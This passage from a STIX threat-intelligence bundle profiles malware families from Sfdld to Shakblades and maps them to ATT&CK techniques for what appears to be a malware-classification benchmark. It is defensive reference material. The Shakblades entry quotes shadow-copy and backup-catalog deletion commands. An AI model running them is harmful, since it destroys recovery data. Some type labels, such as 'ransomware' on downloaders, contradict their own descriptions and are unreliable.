      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seznam exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f8de2b1-abb1-5a40-a9b3-7c9ab8e98e12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef517424-9386-57ce-8441-6ad18e3fa657",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seznam exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4879a638-1f1c-5fcb-b26b-2ec4b5595bb5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef517424-9386-57ce-8441-6ad18e3fa657",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seznam exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2291ac7e-b1e6-570a-92a7-3bffa0c4a6af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef517424-9386-57ce-8441-6ad18e3fa657",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seznam exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4e3a73ce-d960-5c31-a230-c6d0fd6b2d00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sfdld",
      "description": "<h3>Executive Summary</h3>\nSfdld (often classified as Downloader.Sfdld) is a malicious Trojan specifically engineered to act as a stealthy delivery mechanism for secondary malware. It does not typically possess destructive capabilities of its own (like encryption or credential dumping); instead, its sole purpose is to establish a covert foothold, bypass initial security scans, and silently pull down heavier payloads like ransomware or info-stealers from attacker-controlled infrastructure.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSfdld is primarily distributed through malspam campaigns. Victims are socially engineered into opening malicious email attachments (such as weaponized Excel or Word documents containing VBA macros) or clicking links to compromised websites that host exploit kits.\n\nUpon execution, Sfdld performs a rapid, highly automated sequence:\n<ul>\n<li><strong>Initial Execution and Evasion:</strong> The downloader is often heavily obfuscated to bypass static AV signatures. It may use techniques like \"living off the land\" (using built-in Windows tools like PowerShell or `certutil.exe`) to execute its initial download commands, making its behavior appear legitimate.</li>\n<li><strong>C2 Check-in:</strong> Sfdld silently reaches out to a hardcoded list of Command and Control (C2) servers or compromised domains to receive its payload instructions.</li>\n<li><strong>Payload Staging and Execution:</strong> It downloads the secondary malware, often storing it in temporary directories or directly injecting it into the memory of a legitimate process (Process Hollowing) to ensure the payload executes without ever touching the hard drive (fileless execution).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Sfdld detection is a severe early-warning indicator. If the downloader successfully executes and establishes outbound communication, the endpoint must be assumed completely compromised by an unknown secondary payload. The primary threat is the rapid escalation from a simple downloader infection to a full-blown ransomware or data breach incident.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The highest priority is to sever the machine from the network to prevent the downloader from retrieving its payload or allowing the secondary malware to pivot laterally.</li>\n<li><strong>Behavioral Forensics (EDR):</strong> Incident responders must utilize EDR telemetry to trace the execution path of the downloader. It is crucial to determine if the secondary payload was successfully downloaded and executed, and if so, what processes it spawned.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the risk of undetected secondary payloads (especially fileless variants), attempting to \"clean\" the downloader is insufficient. The endpoint must undergo a complete bare-metal wipe and re-image from a trusted corporate baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Downloader.Sfdld",
        "Trojan.Sfdld",
        "Win32/TrojanDownloader.Sfdld"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sfdld",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sfdld"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fadfbccd-38ad-5379-93a3-f28f1c469fee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e3a73ce-d960-5c31-a230-c6d0fd6b2d00",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sfdld exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6dc70a06-a546-5848-be99-b775fbdfca90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e3a73ce-d960-5c31-a230-c6d0fd6b2d00",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sfdld exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecdd20b8-9435-5e36-a467-8fb857880df3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e3a73ce-d960-5c31-a230-c6d0fd6b2d00",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sfdld exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--78cd9577-cbaf-5c92-bea8-79aa8edaeedd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sfone",
      "description": "Sfone (cataloged across security vendors as Worm:Win32/Sfone, Worm.Win32.SFONE.B, and Trojan:Win32/Sfone!pz) is a self-propagating Windows worm and trojan loader first observed in active cybercrime campaigns around 2010. Engineered to compromise Windows endpoints through deceptive file naming and removable media propagation, Sfone frequently disguises its executable payload as screensavers, media files, or setup utilities. Once executed on a host, Sfone drops copies of itself into %APPDATA% and system temporary folders, modifies the Windows registry to ensure autostart execution upon user logon, and monitors connected drives to replicate across removable USB flash drives and network shares. The worm frequently weaponizes Windows Shell shortcut vulnerabilities such as CVE-2010-2568 to trigger automatic execution when users navigate infected folders. Beyond propagation, Sfone functions as an ingress tool transfer mechanism, beaconing out to remote command-and-control servers over HTTP/TCP to receive secondary instructions and stage additional malware payloads including adware, spyware, and trojan downloaders. (Observed samples in benchmark: 332)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Sfone",
        "Worm.Win32.SFONE",
        "Worm.Win32.SFONE.B",
        "Trojan:Win32/Sfone!pz",
        "Win32/Sfone"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sfone",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sfone"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7a4bd43-4cb2-53f4-960e-018d43508fb0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78cd9577-cbaf-5c92-bea8-79aa8edaeedd",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sfone exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9781f0fb-8644-5d37-91a0-3d78a7fc98d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78cd9577-cbaf-5c92-bea8-79aa8edaeedd",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sfone exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eaab4aa1-a7c3-57ce-aaf5-0c64d02374fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78cd9577-cbaf-5c92-bea8-79aa8edaeedd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sfone exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef203e34-90b5-5678-af7f-00565dd14b64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78cd9577-cbaf-5c92-bea8-79aa8edaeedd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sfone exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ab8e9ea-4cfe-5486-b5ca-19aa5acb9ca8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78cd9577-cbaf-5c92-bea8-79aa8edaeedd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sfone exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--821b7e36-9a8e-571a-9c79-0cc6da7d7e75",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sfuzuan",
      "description": "<h3>Executive Summary</h3>\nSfuzuan is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSfuzuan is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Sfuzuan operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Sfuzuan ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Sfuzuan receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Sfuzuan infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Sfuzuan executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Sfuzuan frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Sfuzuan",
        "Downloader.Sfuzuan",
        "Win32/Sfuzuan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sfuzuan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sfuzuan"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7aa652c8-3549-5360-a9a1-10b181384601",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--821b7e36-9a8e-571a-9c79-0cc6da7d7e75",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sfuzuan exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5cc7c666-8e06-5848-a5f6-7d4f2926200b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--821b7e36-9a8e-571a-9c79-0cc6da7d7e75",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sfuzuan exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a1d271f-d02b-5714-8f45-8807d1557076",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--821b7e36-9a8e-571a-9c79-0cc6da7d7e75",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sfuzuan exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--119c202d-c9e3-5173-8c27-0885eb5fb6a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shade",
      "description": "Shade (also widely tracked in cyber threat intelligence feeds as Troldesh, Encoder.858, and Ransom:Win32/Shade) is a landmark ransomware family that terrorized organizations and individual users worldwide from 2014 until its shutdown in 2020. Propagated through massive malicious spam campaigns distributing weaponized zip archives and exploit kits, Shade deployed robust AES-256 and RSA-2048 encryption to lock victim files, appending recognizable extensions such as .xtbl, .ytbl, .breaking_bad, and .better_call_saul. The ransomware terminated database services, deleted Windows Volume Shadow Copies, and dropped multilingual ransom notes demanding payments in Bitcoin. In an unprecedented event in April 2020, the operators behind Shade announced their retirement, publicly apologized to their victims, and published over 750,000 master decryption keys on GitHub. In collaboration with the No More Ransom initiative, Kaspersky and Europol verified the keys and integrated them into the free ShadeDecryptor tool, allowing all historical victims to recover their data. (Observed samples in benchmark: 72)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Shade",
        "Trojan-Ransom.Win32.Shade",
        "Troldesh",
        "Encoder.858",
        "Win32/Troldesh"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shade",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shade"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--add39d10-47b3-5f10-b282-1abff2bfaad8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--119c202d-c9e3-5173-8c27-0885eb5fb6a9",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shade exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3885e005-7bc4-5b23-80da-a239580807ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--119c202d-c9e3-5173-8c27-0885eb5fb6a9",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shade exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--901f004a-b5b5-525e-8ecf-fb37f93e9fbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--119c202d-c9e3-5173-8c27-0885eb5fb6a9",
      "target_ref": "attack-pattern--cc845d08-6fc5-5758-8728-20ef39b3945b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shade exhibits technique T1090.003 (Proxy: Multi-hop Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--098cc19f-db2e-5872-8576-2cc9ef438664",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--119c202d-c9e3-5173-8c27-0885eb5fb6a9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shade exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7240eac0-6f2b-5422-84ba-bb4bf4d54f49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--119c202d-c9e3-5173-8c27-0885eb5fb6a9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shade exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d988d8de-7b54-5381-90bd-548da43383da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shadowbrokers",
      "description": "Shadowbrokers (classified under vendor signatures including Exploit:Win32/ShadowBrokers, HackTool:Win32/ShadowBrokers, and Trojan:Win32/ShadowBrokers) refers to the catastrophic public leak and weaponization of offensive cyber warfare tools originally developed by the NSA's Equation Group and published by the threat group The Shadow Brokers between 2016 and 2017. Most notably contained within the April 2017 'Lost in Translation' release, these artifacts included weaponized remote kernel exploits targeting the Windows SMBv1 protocol (EternalBlue / CVE-2017-0144, EternalRomance / CVE-2017-0145, EternalSynergy / CVE-2017-0143) and the stealthy ring-0 kernel implant framework DoublePulsar. The leaked exploit tools democratized nation-state exploitation capabilities across global cybercrime syndicates, enabling the rapid autonomous propagation of devastating global cyber incidents including the WannaCry ransomware outbreak, the NotPetya wiper attack, and the BadRabbit campaign. (Observed samples in benchmark: 36)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Exploit:Win32/ShadowBrokers",
        "HackTool:Win32/ShadowBrokers",
        "The Shadow Brokers Leaks",
        "Equation Group Lost in Translation",
        "Win32/ShadowBrokers"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shadowbrokers",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shadowbrokers"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "https://www.cisa.gov"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--99b880f5-40fc-596b-8483-78d77e5bf4d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shadowhammer",
      "description": "<h3>Executive Summary</h3>\nOperation ShadowHammer was a highly sophisticated Advanced Persistent Threat (APT) supply chain attack discovered in 2019, attributed to the Chinese state-sponsored group Barium (also known as APT41). The attackers successfully compromised the ASUS Live Update Utility, allowing them to push cryptographically signed, weaponized software updates to hundreds of thousands of ASUS computers globally. However, the malware's payload was designed to execute only on a highly specific, pre-determined list of target machines.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nThe infection vector was a classic upstream supply chain compromise. The attackers breached ASUS's internal network, compromised their software build environment, and weaponized the legitimate `setup.exe` for the ASUS Live Update tool. Because the executable was signed with a legitimate ASUS digital certificate, it bypassed standard antivirus checks and was installed silently by the update utility.\n\nOnce installed, ShadowHammer demonstrated extreme precision and stealth:\n<ul>\n<li><strong>MAC Address Targeting:</strong> The weaponized update contained a hardcoded list of roughly 600 specific MAC addresses (hashed using MD5). Upon execution, the malware checked the victim's MAC address against this list.</li>\n<li><strong>Dormant vs. Active:</strong> If the MAC address did not match, the malware remained dormant, taking no malicious action to avoid raising suspicion. If the MAC address *did* match, it initiated a secondary stage.</li>\n<li><strong>Secondary Payload Delivery:</strong> For the targeted machines, the malware reached out to an attacker-controlled C2 server (often disguised as a legitimate ASUS domain) to download a secondary, memory-resident backdoor, providing the APT group with full remote access to the high-value target.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nShadowHammer is a masterclass in supply chain compromise and targeted espionage. The fact that the attackers could compromise a major hardware vendor's update infrastructure, sign the malware with legitimate certificates, and deploy it to half a million machines just to target 600 specific individuals highlights the extreme capability and patience of state-sponsored APT groups.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Update the Update Utility:</strong> The immediate remediation for the general public was to update the ASUS Live Update utility to a new version (which included enhanced security checks) and run a diagnostic tool provided by ASUS to determine if the specific machine was targeted.</li>\n<li><strong>Targeted Forensics:</strong> For organizations that discovered their MAC addresses were on the target list, a \"break-glass\" incident response protocol was required. This necessitated a complete forensic investigation of the endpoint and the surrounding network to identify the secondary backdoors deployed by APT41 and the extent of the data exfiltration.</li>\n<li><strong>Zero-Trust Architecture:</strong> ShadowHammer demonstrates that even digitally signed software from trusted vendors cannot be implicitly trusted. Organizations must adopt Zero-Trust principles, heavily monitoring endpoint behavior (EDR) rather than relying solely on signature-based or certificate-based trust models.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "APT.ShadowHammer",
        "Trojan.ASUSUpdate",
        "Backdoor.Barium",
        "APT41"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shadowhammer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shadowhammer"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a57e9320-6b3e-5d59-b2ed-27b46e7e4964",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99b880f5-40fc-596b-8483-78d77e5bf4d2",
      "target_ref": "attack-pattern--cd7b3cd0-ed1c-5044-9664-a8e44ddd5e6f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shadowhammer exhibits technique T1195.002 (Compromise Software Supply Chain)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43e3d0d6-e4d5-5517-847a-83a6c06f7075",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99b880f5-40fc-596b-8483-78d77e5bf4d2",
      "target_ref": "attack-pattern--7415154c-1115-577c-adf2-82a877576a4e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shadowhammer exhibits technique T1553.002 (Code Signing)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--65dfa49b-e0d6-54fa-8560-90461371ed29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1016: System Network Configuration Discovery",
      "description": "MITRE ATT&CK Technique T1016 (System Network Configuration Discovery) under tactic Discovery.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1016",
          "url": "https://attack.mitre.org/techniques/T1016/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5f8e500-b24a-5ee1-b972-e680f5e8a0cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99b880f5-40fc-596b-8483-78d77e5bf4d2",
      "target_ref": "attack-pattern--65dfa49b-e0d6-54fa-8560-90461371ed29",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shadowhammer exhibits technique T1016 (System Network Configuration Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb2123ef-767c-5de3-9cac-04019ca7cd8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99b880f5-40fc-596b-8483-78d77e5bf4d2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shadowhammer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f19ffcf3-290b-5513-8beb-3ea8af1ba8d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shakblades",
      "description": "Shakblades is a destructive Windows ransomware strain active since 2017. Propagated primarily through trojanized software activators, cracked utilities, and exploit kits, Shakblades executes rapid encryption routines across local drives and accessible network shares. The malware invokes vssadmin.exe delete shadows /all /quiet and wbadmin delete catalog -quiet to inhibit system recovery, terminates database and enterprise processes, and uses AES-256 encryption wrapped with an embedded RSA public key to lock target document, media, and database files. It appends the .shakblades extension to locked files and generates desktop ransom instructions demanding Bitcoin payment for file restoration. (Observed samples in benchmark: 48)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Shakblades",
        "Trojan-Ransom.Win32.Shakblades",
        "Ransom.Shakblades",
        "Win32/Shakblades"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shakblades",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shakblades"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a24a15f-a91f-5b8b-b28c-7b3f73e9f7ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f19ffcf3-290b-5513-8beb-3ea8af1ba8d6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
